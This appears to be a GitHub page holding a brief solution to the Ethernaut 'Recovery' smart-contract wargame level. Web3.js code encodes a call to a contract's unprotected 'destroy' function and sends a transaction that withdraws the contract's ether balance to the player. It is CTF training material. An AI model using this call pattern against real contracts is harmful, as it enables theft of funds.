Skip to content

Latest commit

 

History

History
14 lines (12 loc) · 303 Bytes

17-recovery.md

File metadata and controls

14 lines (12 loc) · 303 Bytes

call destroy to withdraw eth balance in contract

const data = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);

sendTransaction({ from: player, to: '<token contract address>', data });